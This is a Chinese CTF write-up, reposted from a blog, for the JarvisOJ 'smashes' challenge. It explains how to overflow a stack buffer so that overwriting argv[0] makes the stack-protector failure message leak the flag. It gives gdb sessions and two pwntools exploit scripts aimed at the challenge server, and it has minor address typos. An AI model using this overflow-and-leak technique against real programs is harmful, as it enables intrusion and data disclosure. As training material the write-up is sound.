JarvisOJ PWN smashes WP

Smashes

涉及到一些新的知识,以下为转载大佬的一篇博客:

这道题利用是保护机制本身的一种漏洞:

在程序加了canary保护之后,如果我们读取的buffer覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。
而stack smash技巧则就是利用打印这一信息的程序来得到我们想要的内容。
这是因为在程序发现canary保护之后,如果发现canary被修改的话,程序就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串,正常情况下,这个指针指向了程序名。
其代码如下

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

所以说如果我们利用栈溢出覆盖argv[0]为我们想要输出的字符串的地址,那么在__fortify_fail函数中就会输出我们想要的信息。

总结成一句就是,利用溢出造成报错从而打印出报错信息,使报错信息指向我们想泄漏的地址
要解决这道题,我们首先要找到argv[0]的地址
将断点设置在main函数,

0000| 0x7fffffffdcf8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:   mov    edi,eax)
0008| 0x7fffffffdd00 --> 0x0 
0016| 0x7fffffffdd08 --> 0x7fffffffddd8 --> 0x7fffffffe199 ("/home/zeref/桌面/ctf-pwn-OJ练习题/smashes")
0024| 0x7fffffffdd10 --> 0x100000000 
0032| 0x7fffffffdd18 --> 0x4006d0 (sub    rsp,0x8)
0040| 0x7fffffffdd20 --> 0x0 
0048| 0x7fffffffdd28 --> 0xb7e5e31690436a43 
0056| 0x7fffffffdd30 --> 0x4006ee (xor    ebp,ebp)

可以看出0x7fffffffe199指向程序名,其自然就是argv[0],所以我们修改的内容就是这个地址。
同时00x7fffffffddd8处保留着该地址,所以我们真正需要的地址是0x7fffffffddd8

接着我们需要找到栈顶到这个argv[0]的偏移,从而方便我们计算出需要填充的字符个数

将第二个断点设在调用__IO_gets之前(输入name变量之前)

Breakpoint 2, 0x000000000040080e in ?? ()
gdb-peda$ print $rsp
$1 = (void *) 0x7fffffffdbc0

可以得到此时的rsp为0x7fffffffdbc0
那么我们的rsp到argv[0]的偏移就是:
0x7fffffffddd - 0x7fffffffdbc0 = 0x218

然后我们就需要找到flag所在的地址了,因此需要把断点设置在执行这条汇编之前
.text:0000000000400873 call _memset

gdb-peda$ b *0x000400873
Breakpoint 1 at 0x400873
gdb-peda$ r
Starting program: /home/zeref/桌面/ctf-pwn-OJ练习题/smashes 
Hello!
What's your name? qqqqqqqqq  
Nice to meet you, qqqqqqqqq.
Please overwrite the flag: aaaaaaaaaa

然后通过find命令去找flag的地址:

Breakpoint 1, 0x0000000000400873 in ?? ()
gdb-peda$ find qqqqq
Searching for 'qqqqq' in: None ranges
Found 2 results, display max 2 items:
[stack] : 0x7fffffffb532 ("qqqqqqqqq.\nPlease overwrite the flag: ")
[stack] : 0x7fffffffdbc0 ("qqqqqqqqq")
gdb-peda$ find aaaaaaa
Searching for 'aaaaaaa' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x600d20 ("aaaaaaaaaas the flag on server}")
 [heap] : 0x601010 ("aaaaaaaaaa\n")
gdb-peda$ find PCTF
Searching for 'PCTF' in: None ranges
Found 1 results, display max 1 items:
smashes : 0x400d20 ("PCTF{Here's the flag on server}")

可以看到,0x600d20的地方已经被aaaa所覆盖,而0x400d20的地方仍然是“PCTF{Here's the flag on server}”
说明这个地方是不会受影响的,而这个地址就是我们希望可以被报错输出的flag

exp如下:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'

#p=process('./smash')
p=remote('pwn.jarvisoj.com', 9877)
argv_addr=0x00007fffffffddd8

name_addr=0x7fffffffdbc0
flag_addr=0x600d20 
another_flag_addr=0x400d20 

payload = 'a'*(argv_addr-name_addr) + p64(another_flag_addr)

p.recvuntil('name?')
p.sendline(payload)
p.recvuntil('flag: ')
p.sendline('bb')
data = p.recv()
p.interactive()

其实还有第二种操作
第二种操作更简单,直接疯狂填充另一个flag的地址,暴力地把argv[0]的填为另一个flag的所在地址:

from pwn import *
context.log_level = 'debug'
cn = remote('pwn.jarvisoj.com', 9877)
#cn = process('pwn_smashes')
cn.recv()
cn.sendline(p64(0x0400d20)*200)
cn.recv()
cn.sendline()
cn.recv()



作者:23R3F
链接:https://www.jianshu.com/p/6afc68389901
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

发布了14 篇原创文章 · 获赞 2 · 访问量 424

猜你喜欢

转载自blog.csdn.net/weixin_43876357/article/details/103995669